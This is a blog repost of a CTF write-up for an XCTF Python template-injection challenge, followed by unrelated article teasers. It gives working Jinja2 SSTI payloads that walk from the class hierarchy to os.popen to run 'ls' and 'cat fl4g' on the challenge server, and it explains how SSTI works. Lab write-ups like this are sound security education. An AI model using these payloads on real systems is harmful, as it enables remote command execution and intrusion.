攻防世界web第十题Web_python_template_injection

这是题目,从题目上看是一个python模板注入类型的题目。
首先测试是否存在模板注入漏洞,构造http://61.147.171.105:57423/{{config}}
得到

说明存在模板注入漏洞,继续注入
构造http://61.147.171.105:57423/{{‘’.class.mro}}:
得到
再构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()}}:

编写脚本找到类索引,
text = "<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>"new_text = text.split(",")
index = 0
for i in new_text:index += 1
print(index - 1) #数组索引从0开始
运行得到索引值为71,
再构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()}}
得到
最后构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()}}
得到flag
总结:本质上就是通过模板注入代码获取所需信息。
知识点:
1.SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行充分的验证和过滤,攻击者可以通过构造恶意的输入来注入模板代码,导致服务器端模板引擎执行恶意代码。
SSTI漏洞利用基本流程
获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令.
SSTI漏洞原理
服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。
渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞.
实际上就是我们传到后台的数据会被后台获取数据并执行。本质上是后台代码解析前端传过来的数据的时候没有进行处理导致我们用{{}}传进来的恶意命令被动态渲染,从而产生了这样的问题。
class #返回type类型,查看对象的类型
bases #返回tuple类型,列出该类的基类
mro #返回tuple类型,给出解析方法调用的顺序
subclasses() #返回内建方法builtin_function_or_method,获取一个类的子类
globals #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,
init 类的初始化方法
popen函数是用来执行系统命令的
相关文章:
攻防世界web第十题Web_python_template_injection
这是题目,从题目上看是一个python模板注入类型的题目。 首先测试是否存在模板注入漏洞,构造http://61.147.171.105:57423/{{config}} 得到 说明存在模板注入漏洞,继续注入 构造http://61.147.171.105:57423/{{‘’.class.mro}}: 得到 再构造…...
vmware 修改Ubuntu终端字体大小
1. 2、 3、 4、 5、 6、点击select...
API 设计:从基础到最佳实践
https://levelup.gitconnected.com/api-design-101-from-basics-to-best-practices-a0261cdf8886 在本次深入研究中,我们将从基础开始,逐步了解 API 设计,并逐步实现定义卓越 API 的最佳实践。 作为开发人员,您可能熟悉其中的许多…...
ROUGE指标在自然语言处理中的应用:从理论到实践
引言 你是否曾经遇到过机器生成的文本摘要与原文内容不符的情况?或者在使用机器翻译时,发现译文虽然“看起来”正确,但语义却与原文相差甚远?在自然语言处理(NLP)领域,如何科学地评估生成文本的…...
GraalVM:云原生时代的Java虚拟机
1. 概述 GraalVM是由Oracle公司开发的一款高性能、多语言的虚拟机平台。它不仅兼容传统的JVM字节码执行,还引入了即时编译(JIT)技术的革新,以及对多种编程语言的支持。GraalVM旨在通过提供更高效的执行环境来满足云计算环境中日益…...
Linux 信号集与信号掩码
目录 一、引言 二、信号集是什么 三、信号集关键函数 1.信号集的创建与初始化 2.信号的添加与删除 3.信号集的阻塞与解除阻塞 四、信号集实际应用场景 五、信号掩码的作用 六、信号掩码相关函数 1.sigprocmask 函数 2.sigemptyset 和 sigfillset 函数 七、信号掩码注…...
如何设置Edge浏览器访问软件
使用Edge浏览器访问分销ERP A\V系列软件时会出现各种报错,如何设置Edge浏览器使其正常访问,请看下面的具体操作。 一、打开Edge浏览器,点击右上角的 设置及其他,如图: 二、在弹出界面中,点击 扩展ÿ…...
DL笔记:旋转编码RoPE
1 背景 由于计算资源限制,目前的LLM大多在较短的上下文长度中进行训练,在推理中,如果超出预训练的长度,模型的性能将会显著降低 ——>需要一个可提供外推性的位置编码最经典的绝对位置编码就是原始Transformer中的那个sinusoi…...
C语言自定义类型与文件操作
构造类型 枚举类型 若定义不相关的常量使用宏定义;若定义一组相关的常量使用枚举。switch中case后访问的就是枚举。 定义: 我们一般情况下定义常量使用宏定义(#define),宏定义适合没有关联关系的常量;但有时需要对一组有关联关系…...
《计算机网络A》单选题-复习题库解析-3
目录 106、MAN通常是指( ) 107、下列因素中,不会影响信道数据传输速率的是( ) 108、以太网交换机进行转发决策时使用的PDU地址是( ) 109、下列机制中,可以解决因数据帧丢失而…...
VM虚拟机配置ubuntu网络
目录 桥接模式 NAT模式 桥接模式 特点:ubuntu的IP地址与主机IP的ip地址不同 第一部分:VM虚拟机给ubuntu的网络适配器,调为桥接模式 第二部分:保证所桥接的网络可以上网 第三部分:ubuntu使用DHCP(默认&…...
【每日学点鸿蒙知识】Web高度适配、变量声明规范、动画取消、签名文件、包体积优化相关
1、HarmonyOS Web页面高度适配? 在Web页面设置高度100%时,发现和Web控件的高度不一致,这个需要设置什么可以达到页面高度和Web容器高度一致 目前只支持两种web布局模式,分别为Web布局跟随系统WebLayoutMode.NONE和Web基于页面大…...
uniapp使用ucharts组件
1.ucharts准备 有两种使用方式:一种是在uni的插件市场下载(组件化开发)。一种是手动引入ucharts包。官方都封装好组件了,我们不用岂不是浪费。 直接去dcloud插件市场(DCloud 插件市场)找,第一…...
LabVIEW工程师的未来发展
对于LabVIEW工程师以及更广义的编程从业者(包括“高级民工”码农)来说,随着AI技术和软件编程的逐步成熟,确实面临一些新的挑战和机遇。以下是对此问题的深入分析和未来方向的建议: 现状分析:技术过剩与竞争…...
java的bio、nio、aio 以及操作系统的select、poll、epoll
在 Java 和其他编程语言中,I/O 模型的选择对网络应用的性能和可扩展性有着重要影响。以下是 BIO(Blocking I/O)、NIO(Non-blocking I/O)、AIO(Asynchronous I/O),以及操作系统级别的…...
2024 年发布的 Android AI 手机都有什么功能?
大家好,我是拭心。 2024 年是 AI 快速发展的一年,这一年 AI 再获诺贝尔奖,微软/苹果/谷歌等巨头纷纷拥抱 AI,多款强大的 AI 手机进入我们的生活。 今年全球 16% 的智能手机出货量为 AI 手机,到 2028 年,这…...
RLHF,LM模型
LLM(Large Language Model) RLHF(Reinforcement Learning from Human Feedback),即以强化学习方式依据人类反馈优化语言模型。 RLHF思想:使用强化学习的方式直接优化带有人类反馈的语言模型。RLHF使得在一般文本数据语料库上训练的语言模型能与复杂的人类价值观对齐。 R…...
【机器学习】工业 4.0 下机器学习如何驱动智能制造升级
我的个人主页 我的领域:人工智能篇,希望能帮助到大家!!!👍点赞 收藏❤ 随着科技的飞速发展,工业 4.0 浪潮正席卷全球制造业,而机器学习作为这一变革中的关键技术,正以前…...
REST与RPC的对比:从性能到扩展性的全面分析
在微服务架构中,服务间通信是核心问题之一。常见的两种通信方式是REST(Representational State Transfer)和RPC(Remote Procedure Call)。它们各有优缺点,适用于不同场景。本文将从性能、扩展性、兼容性和开…...
MATLAB中将MAT文件转换为Excel文件
MATLAB中将MAT文件转换为Excel文件 MATLAB提供了多种方法将MAT文件中的数据导出到Excel文件中。下面介绍几种常用的方法: 1. 使用 writetable 函数 优点: 功能强大,可以灵活控制输出格式。用法: data load(your_data.mat); …...
4个维度解析YetAnotherKeyDisplayer:开源实时按键可视化工具全指南
4个维度解析YetAnotherKeyDisplayer:开源实时按键可视化工具全指南 【免费下载链接】YetAnotherKeyDisplayer The application for displaying pressed keys of the keyboard 项目地址: https://gitcode.com/gh_mirrors/ye/YetAnotherKeyDisplayer YetAnothe…...
实测联想小新Pro 16 GT:一台把性能、AI和续航拉满的AI PC
最近体验了联想小新Pro 16 GT AI元启版,它不像是传统轻薄本,更像一台兼顾便携、性能和智能体验的全能机型。抛开品牌滤镜,单看硬件和实际使用,确实有不少值得一说的亮点。外观轻薄耐看,屏幕和接口都很实在这台机器用了…...
Qwen3.5-4B-Claude-Opus镜像保姆级教程:双RTX4090D上开箱即用
Qwen3.5-4B-Claude-Opus镜像保姆级教程:双RTX4090D上开箱即用 1. 镜像概述 Qwen3.5-4B-Claude-4.6-Opus-Reasoning-Distilled-GGUF 是一个基于 Qwen3.5-4B 的推理蒸馏模型,重点强化了结构化分析、分步骤回答、代码与逻辑类问题的处理能力。该版本以 GG…...
MTools开箱即用:5分钟在K8s部署Web版AI工具,图片音视频全能处理
MTools开箱即用:5分钟在K8s部署Web版AI工具,图片音视频全能处理 1. 为什么选择MTools Web版 MTools Web版是一款集成了图片处理、音视频编辑、AI智能工具和开发辅助功能的现代化工具套件。与传统的桌面软件不同,它可以直接在浏览器中运行&a…...
你还在用for循环清洗CSV?Polars 2.0的scan_csv()+expression DSL已支持自动列式推断与零拷贝转换——立即升级避免被淘汰
第一章:Polars 2.0大规模数据清洗的核心范式变革Polars 2.0 不再将数据清洗视为一系列离散的、命令式的转换操作,而是以“惰性执行图列式语义优先”为基石,重构整个清洗生命周期。其核心变革体现在计算模型、内存管理与API设计三重维度的协同…...
从MATLAB到C++:手把手教你将鱼眼相机标定结果(Scaramuzza模型)部署到OpenCV项目
从MATLAB到C:手把手教你将鱼眼相机标定结果(Scaramuzza模型)部署到OpenCV项目 鱼眼相机因其超广视角在机器人导航、虚拟现实等领域应用广泛。但MATLAB标定结果如何无缝迁移到C工程环境?本文将彻底解决这个痛点,带您完成…...
一、RuoYi-Vue3项目模块化架构与二次开发实战
1. RuoYi-Vue3模块化架构深度解析 第一次接触RuoYi-Vue3时,最让我惊艳的就是它清晰的模块化设计。这个基于Spring BootVue3的前后端分离框架,通过六大核心模块的巧妙组合,既保证了功能完整性,又为二次开发留足了空间。就像搭积木一…...
HunyuanVideo-Foley性能测试指南:在RTX 4090D上的推理速度与显存占用
HunyuanVideo-Foley性能测试指南:在RTX 4090D上的推理速度与显存占用 1. 前言:为什么需要性能测试 音效生成模型在实际业务场景中的表现,直接影响着用户体验和系统成本。对于企业用户来说,了解模型在特定硬件上的性能表现至关重…...
大模型预训练中的损失函数:从交叉熵到代码实现的全方位解析
大模型预训练中的损失函数:从交叉熵到代码实现的全方位解析 在深度学习领域,大语言模型的崛起彻底改变了自然语言处理的格局。这些庞然大物的核心驱动力之一,正是预训练阶段精心设计的损失函数。对于decoder-only架构的模型而言,交…...
板对板排针连接器对电子设计有哪些影响
在电子设计领域,哪怕是看着不起眼的小元件,也能起到关键作用,板对板排针连接器就是这样的存在。别看它体积小巧,却是电子设备里的核心连接部件,能让印刷电路板(PCB)之间实现无缝对接,…...
